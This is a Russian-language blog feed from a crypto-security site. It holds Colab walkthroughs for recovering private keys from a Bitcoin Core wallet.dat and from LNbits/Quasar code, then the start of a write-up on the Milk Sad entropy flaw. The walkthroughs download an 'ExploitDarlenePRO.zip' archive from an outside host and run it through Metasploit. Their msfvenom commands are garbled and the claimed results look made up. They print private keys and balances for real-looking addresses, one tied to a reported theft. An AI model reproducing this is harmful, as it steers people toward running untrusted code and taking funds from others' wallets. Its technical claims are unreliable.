Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Установим библиотеку 'crypto' чтобы упростить операции с байтами и основными криптографическими операциями

!gem install crypto

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Установим библиотеку 'config-hash' чтобы упростить работу с большими данными.

!gem install config-hash -v 0.9.0

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Установим Metasploit Framework и воспользуемся MSFVenom

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Установим Metasploit Framework из GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Посмотрим содержимое папки "metasploit-framework"

ls

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Опции:

!./msfvenom -help 
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core




Установим Bitcoin Core integration/staging tree в Google Colab:

!git clone https://github.com/bitcoin/bitcoin.git


ls

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Перейдем по каталогу к файлу: aes.cpp для интеграции эксплойта для запуска Padding Oracle Attack на Wallet.dat

cd bitcoin/src/crypto/

ls

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Откроем файл: aes.cpp через утилиту cat

cat aes.cpp


Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Для проведения атаки загрузим файл: wallet.dat в каталог: bitcoin/src/crypto/

Воспользуемся утилитой wget и скачаем wallet.dat из репозиториев 27PaddingOracleAttackonWalletdat
!wget https://github.com/demining/CryptoDeepTools/raw/29bf95739c7b7464beaeb51803d4d2e1605ce954/27PaddingOracleAttackonWalletdat/wallet.dat
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Проверим содержимое каталога: bitcoin/src/crypto/
ls

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Перейдем обратно к Metasploit Framework

cd /

cd content/metasploit-framework/

ls

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core


Откроем папки по каталогу: /modules/exploits/

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

ExploitDarlenePRO

Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/fe9b4545d58e43c1704b0135383e5f124f36e40cb54d29112d8ae7babadae791/ExploitDarlenePRO.zip

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip

!unzip ExploitDarlenePRO.zip
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Перейдем по каталогу: /ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Для запуска эксплойта перейдем обратно к Metasploit Framework

cd /

cd content/metasploit-framework/

ls

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины.

Запустим команды:

!ip addr
!hostname -I
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Воспользуемся инструментом для создания полезной нагрузки MSFVenom

Для эксплуатации выбираем Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

Команда запуска:

!./msfvenom 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Результат:

1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101

Полученный бинарный формат нам необходимо сохранить в файл: walletpassphrase.txt воспользуемся Python-скриптом.

Команда:

import hashlib

Binary = "1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101"

f = open("walletpassphrase.txt", 'w')
f.write("walletpassphrase " + Binary + " 60" + "\n")
f.write("" + "\n")
f.close()

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Откроем файл: walletpassphrase.txt

ls
cat walletpassphrase.txt

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Результат:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

Пароль для доступа к приватному ключу найден!


Воспользуемся командой dumpprivkey "address" через консоль Bitcoin Core

Команды:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Результат:
KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz

Приватный Ключ Получен!


Установим библиотеку Bitcoin Utils
pip3 install bitcoin-utils
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Запустим код для проверки соответствие Биткоин Адреса:

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Private key WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
Public key: 02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f
Address: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
Hash160: 7774801e52a110aba2d65ecc58daf0cfec95a09f

--------------------------------------

The message to sign: CryptoDeepTech
The signature is: ILPeG1ThZ0XUXz3iPvd0Q6ObUTF7SxmnhUK2q0ImEeepcZ00npIRqMWOLEfWSJTKd1g56CsRFa/xI/fRUQVi19Q=
The signature is valid!

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

ADDR: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
WIF:  KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
HEX:  3A32D38E814198CC8DD20B49752615A835D67041C4EC94489A61365D9B6AD330
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

https://www.blockchain.com/en/explorer/addresses/btc/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b


Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

BALANCE: $ 44502.42



References:


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/0aCfT-kCRlw

Источник: https://cryptodeeptool.ru/padding-oracle-attack-on-wallet-dat


Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Сообщение Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core появились сначала на «CRYPTO DEEP TOOLS».

]]>
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework https://cryptodeeptool.ru/bitcoin-lightning-wallet-vulnerability/ Mon, 06 Nov 2023 13:01:07 +0000 https://cryptodeeptool.ru/?p=3925 В этой статье мы заострим внимание на приложение для смартфонов iOS и Android популярный Биткоин Кошелек с поддержкой быстрых платежей через (Lightning network) BLW: Bitcoin Lightning Wallet. К большому сожалению многие автономные ноды мобильных приложении с открытым исходным кодом от LNbits Node Manager и Core Lightning подвергает ВЫСОКЕМУ РИСКУ потери всех денежных средств в различных […]

Сообщение Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework появились сначала на «CRYPTO DEEP TOOLS».

]]>

В этой статье мы заострим внимание на приложение для смартфонов iOS и Android популярный Биткоин Кошелек с поддержкой быстрых платежей через (Lightning network) BLW: Bitcoin Lightning Wallet. К большому сожалению многие автономные ноды мобильных приложении с открытым исходным кодом от LNbits Node Manager и Core Lightning подвергает ВЫСОКЕМУ РИСКУ потери всех денежных средств в различных криптовалютных монетах.

Разработчик David Shares из японской компании Bitcoin Portal опубликовал множество документов.

Разберем теоретическую основу: LNbits – это бесплатная система учетных записей для многих мобильных приложении которые работают с различными криптовалютными кошельками. Изначально широкую популярность LNbits Node Manager получила с развитием Bitcoin Lightning Wallet (BLW) т.к. развитие некастодиальных и автономных нодов для Bitcoin SPV, предназначенный для Android и iPhone с функциональностью Node.js. Благодаря автономным нодам вы имеете полный контроль над своим средством и вам необходимо самостоятельно управлять своими платежными средствами (в отличие от других мобильных приложении с криптовалютными кошельками).

Node Manager с открытым исходным кодом LNbits решает несколько задач, таких как:

  • Сбор бумажных цен на монет BTC, ETH, LTC, USDT, XLM, BNB, и.т.д
  • Ведение списка общедоступных нодов LNbits, которые Bitcoin Lightning Wallet (BLW) использует для открытия платежных каналов.
  • Предоставление частичной оплаты платежных маршрутов.
  • Хранение зашифрованной резервной копии вашего платежного канала.

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

LNbits node manager работает с сервисами:

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Согласна примерам Salvador Guerrero многие кто установил LNBits на полноценный Биткоин-узел (Bitcoin Node) может работать на Raspberry Pi, чтобы отправлять и получать Bitcoin без комиссий за транзакции. Это возможно только в том случае, если все криптокошельки от LNbits находятся в одном экземпляре Core Lightning.
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Разработчик David Shares из японской компании Bitcoin Portal опубликовал хронологический список, который показывает, что Lightning Network тонет в технических проблемах, ошибках, недостатках, критических замечаниях и эксплойтах. Это слишком обещанная технология, которая не обеспечивает децентрализации и еще далека от того, чтобы стать функциональной и безопасной для пользователей.

После детального изучение всех материалов из хронологического списка мы обратили внимание на уязвимость в фреймворке и на процесс работы в коде quasar.umd.js

Quasar – это фреймворк на основе Vue.js с открытым исходным кодом, который позволяет создавать адаптивные сайты и мобильные приложение для различных криптовалютных кошельков.

Как нам известно из источника Snyk Vulnerability Database в последних версиях Vue.js содержались уязвимости, что позволило версии LNbits v0.11.0 запустить серию циклических ошибок в коде quasar.umd.js


Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework
Snyk Vulnerability Database

Ошибка в коде quasar.umd.js

  // Use best available PRNG
  var randomBytes = (function () {
    // Node & Browser support
    var lib = typeof crypto !== 'undefined'
      ? crypto
      : (
        typeof window !== 'undefined'
          ? window.msCrypto // IE11
          : void 0
      );

    if (lib !== void 0) {
      if (lib.randomBytes !== void 0) {
        return lib.randomBytes
      }
      if (lib.getRandomValues !== void 0) {
        return function (n) {
          var bytes = new Uint8Array(n);
          lib.getRandomValues(bytes);
          return bytes
        }
      }
    }

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework
GitHub Repo

В случае слабого генератора псевдослучайных чисел (PRNG) нам дается возможность получить SEED и полностью определить приватный ключ к Биткоин Кошельку, так как метод lib.getRandomValues теряет криптостойкость над случайным значением.

Перейдем к практической части:

(Вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab )


https://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV


Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework
https://github.com/demining/CryptoDeepTools/tree/main/26BitcoinLightningWalletVulnerability

Рассмотрим реальный пример извлечение приватного ключа Биткоин Кошелька из слабого генератора псевдослучайных чисел (PRNG) в коде quasar.umd.js


Биткоин Кошелек: В сентябре 2023 года была кража на сумму: 11032.77 долларов США // БИТКОИН: 0.30412330 BTC
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Bitcoin_Lightning_Wallet_Vulnerability.ipynb


Откроем сервис Google Colab по ссылке: https://colab.research.google.com

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Нажимаем на "+" и “Создаем новый блокнот”

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Установим Ruby в Google Colab

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Для запуска необходимых нам программ установим объектно-ориентированный язык программирования Ruby

!sudo apt install ruby-full

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Проверим версию установки

!ruby --version
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework
Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]


Установим библиотеку 'bitcoin-ruby' для взаимодействия с протоколом/сетью Биткоин

!gem install bitcoin-ruby

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Установим библиотеку 'ecdsa' для реализации алгоритма цифровой подписи на эллиптической кривой (ECDSA)

!gem install ecdsa

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Установим библиотеку 'base58' для преобразования целых или двоичных чисел в base58 и обратно.

!gem install base58

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Установим библиотеку 'crypto' чтобы упростить операции с байтами и основными криптографическими операциями

!gem install crypto

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Установим библиотеку 'config-hash' чтобы упростить работу с большими данными.

!gem install config-hash -v 0.9.0

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Установим Metasploit Framework и воспользуемся MSFVenom

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Установим Metasploit Framework из GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Посмотрим содержимое папки "metasploit-framework"

ls

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Опции:

!./msfvenom -help 
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Откроем код GitHub в воспользуемся уязвимым файлом: quasar.umd.js


Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

В примечание мы видим ссылку на файл: quasar.umd.js

Откроем код:

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework


LNbits, free and open-source Lightning wallet and accounts system

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Установим lnbits в Google Colab:

!git clone https://github.com/lnbits/lnbits.git


ls


Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Откроем уязвимый файл: quasar.umd.js через утилиту cat

cat lnbits/lnbits/static/vendor/quasar.umd.js

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Откроем папки по каталогу: /modules/exploits/

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

ExploitDarlenePRO

Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680/ExploitDarlenePRO.zip

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip

!unzip ExploitDarlenePRO.zip
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Перейдем по каталогу: /ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Для запуска эксплойта перейдем обратно к Metasploit Framework

cd /

cd content/metasploit-framework/

ls

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины.

Запустим команды:

!ip addr
!hostname -I
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Воспользуемся инструментом для создания полезной нагрузки MSFVenom

Для эксплуатации выбираем Биткоин Кошелек: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

Команда запуска:

!./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Результат:

111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011

Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo

Команда:

!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька:

Воспользуемся кодом:

binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")

# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
    binaryCode = line.replace(" ", "")
    hexCode = hex(int(binaryCode, 2))
    hexCode = hexCode.replace("0x", "").upper().zfill(4)
    hexFile.write(hexCode + "\n")

# close hexFile
hexFile.close()
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Откроем файл: hex.txt

cat hex.txt
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework
7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B

Приватный Ключ Найден!


Установим модуль Bitcoin

!pip3 install bitcoin
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Запустим код для проверки соответствие Биткоин Адреса:

from bitcoin import *

with open("hex.txt","r") as f:
    content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()


outfile = open("privtoaddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Откроем файл: privtoaddr.txt

cat privtoaddr.txt
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Результат:

7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
WIF:  L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP
HEX:  7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

https://www.blockchain.com/en/explorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F


Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

BALANCE: $ 11032.77



References:


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/ZpflbzENAAw

Источник: https://cryptodeeptool.ru/bitcoin-lightning-wallet-vulnerability


Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework

Сообщение Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework появились сначала на «CRYPTO DEEP TOOLS».

]]>
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) https://cryptodeeptool.ru/milk-sad-vulnerability-in-libbitcoin-explorer/ Wed, 04 Oct 2023 15:18:20 +0000 https://cryptodeeptool.ru/?p=3690 Исследователи компании “Slowmist” проводят регулярное исследование сферы безопасности блокчейна Биткоин. Они обнародовали уязвимость в библиотеке Libbitcoin Explorer 3.x, которая позволила злоумышленникам украсть более $ 900 000 у пользователей Биткоин Кошельков (BTC) По данным аналитиков, эта уязвимость может также затронуть пользователей Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash и Zcash, которые используют Libbitcoin для создания учетных записей. Исследователи дали кодовое название для данной уязвимости […]

Сообщение Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) появились сначала на «CRYPTO DEEP TOOLS».

]]>

Исследователи компании “Slowmist” проводят регулярное исследование сферы безопасности блокчейна Биткоин. Они обнародовали уязвимость в библиотеке Libbitcoin Explorer 3.x, которая позволила злоумышленникам украсть более $ 900 000 у пользователей Биткоин Кошельков (BTC)

По данным аналитиков, эта уязвимость может также затронуть пользователей Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash и Zcash, которые используют Libbitcoin для создания учетных записей.

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Исследователи дали кодовое название для данной уязвимости «Milk Sad»

Было предложено использовать первые два слова первого мнемонического секрета BIP39, сгенерированного bx нулевым временем 
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
https://milksad.info/disclosure.html#codename-milk-sad

Техническое описание

Техническое описание CVE-2023-39910

Механизм заполнения энтропии криптовалютного кошелька, используемый в Libbitcoin Explorer 3.0.0–3.6.0, является слабым, также известным как проблема Milk Sad. 
Использование PRNG Mersenne Twister mt19937 ограничивает внутреннюю энтропию 32 битами независимо от настроек. 
Это позволяет удаленным злоумышленникам восстановить любые закрытые ключи кошелька, сгенерированные на основе энтропийных результатов «bxseed», и украсть средства. 
(Затронутым пользователям необходимо перевести средства в новый безопасный кошелек с криптовалютой)
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Cлабая энтропия в Cake Wallet

Cake Wallet
использовал незащищенную функцию Random() Dart для генерации начальных чисел кошелька :

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
Uint8List randomBytes(int length, {bool secure = false}) {
  assert(length > 0);
  final random = secure ? Random.secure() : Random();
  final ret = Uint8List(length);
  for (var i = 0; i < length; i++) {
    ret[i] = random.nextInt(256);
  }
  return ret;
}

Это может быть настоящей проблемой, учитывая, что функция Dart Random()
может вернуться к 0 или системному времени.

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
Random::Random() {
  uint64_t seed = FLAG_random_seed;
  if (seed == 0) {
    Dart_EntropySource callback = Dart::entropy_source_callback();
    if (callback != nullptr) {
      if (!callback(reinterpret_cast<uint8_t*>(&seed), sizeof(seed))) {
        // Callback failed. Reset the seed to 0.
        seed = 0;
      }
    }
  }
  if (seed == 0) {
    // We did not get a seed so far. As a fallback we do use the current time.
    seed = OS::GetCurrentTimeMicros();
  }
  Initialize(seed);
}

Средства каждого кошелька, созданного с помощью браузерного расширения Trust Wallet, могли быть украдены без какого-либо вмешательства пользователя.

Совсем недавно, Donjon группа исследований безопасности в Ledger обнаружил критическую уязвимость в этом расширении браузера Trust Wallet, позволяющую злоумышленнику украсть все активы любого кошелька, созданного с помощью этого расширения, без какого-либо взаимодействия с пользователем. Зная адрес учетной записи, можно немедленно вычислить ее закрытый ключ, а затем получить доступ ко всем ее средствам. Ниже приведены подробные сведения об уязвимости, о том, как Ledger Donjon обнаружил ее, ее влияние с течением времени, оценка уязвимых активов и то, как Trust Wallet отреагировал на ее исправление. Но начнем с напоминания основ.

Cложно продемонстрировать, что случайные числа верны, а плохой, но не смертельно ошибочный генератор случайных чисел может легко обмануть наблюдателя. Для хорошей случайности нам нужно равномерное распределение битов и байтов (и даже всех размеров кусков) и непредсказуемость. Для наблюдателя последовательности должно быть невозможно иметь какую-либо информацию о следующей части генерируемой последовательности.

Поскольку достичь этих свойств невероятно сложно, криптовалютное пространство старается максимально избегать зависимости от случайности, но на одном этапе она нам все равно понадобится: когда мы создаем новый кошелек.

Вы, вероятно, уже знакомы со своей мнемоникой — от 12 до 24 английских слов, которые позволяют вам создавать резервные копии вашего кошелька (если нет, вы можете прочитать статью Ledger Academy по этой самой теме).

Эта мнемоника кодирует от 16 до 32 байтов энтропии в соответствии со стандартом BIP 39. Качество этой энтропии имеет решающее значение, поскольку она будет исходным кодом всех ключей, используемых вашим кошельком во всех цепочках, после детерминированного процесса вывода, определенного стандарты BIP 32 и BIP 44 .

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Уязвимая версия Trust Wallet
bx имеет один и тот же основной, фатальный недостаток: создание энтропии кошелька из неподходящего алгоритма MT19937 Mersenne Twister.
bx дополнительно использует некоторую информацию о часах для заполнения MT19937, но это не имеет большого значения для практических автономных атак методом перебора, проводимых удаленными злоумышленниками.
Это все то же ограниченное пространство ключей в 32 бита, которое злоумышленники могут полностью прочесать.
Насколько нам известно, Trust Wallet создает только кошельки на основе мнемоники BIP39 из 12 слов, что фиксирует требования к энтропии (и, следовательно, использование PRNG) на 128 бит.
bx more является гибким и генерирует 128-битные, 192-битные, 256-битные выходные данные (и другие).
Больше вариантов означает больше места для поиска, но совпадают ли кошельки, созданные
bx seed -b 128 с кошельками, созданными Trust Wallet?
Как оказалось, нет — из-за нюанса в использовании ГПСЧ.
Алгоритм MT19937 Mersenne Twister, используемый Trust Wallet,
bx тот же, но выходные данные используются немного по-другому.
При заполнении энтропийного массива данными PRNG Trust Wallet использует один выходной сигнал MT19937 размером 32 бита, берет младшие 8 бит этого вывода для заполнения массива и выбрасывает остальные 24 бита через побитовый-и в Wasm/
& 0x000000ff src

/ Случайный.cpp :
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
https://milksad.info/disclosure.html#not-even-the-second-hack-mersenne-twister-use-in-trust-wallet
Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)
// Copyright © 2017-2022 Trust Wallet.
//

[...]

void random_buffer(uint8_t* buf, size_t len) {
    std::mt19937 rng(std::random_device{}());
    std::generate_n(buf, len, [&rng]() -> uint8_t { return rng() & 0x000000ff; });
    return;
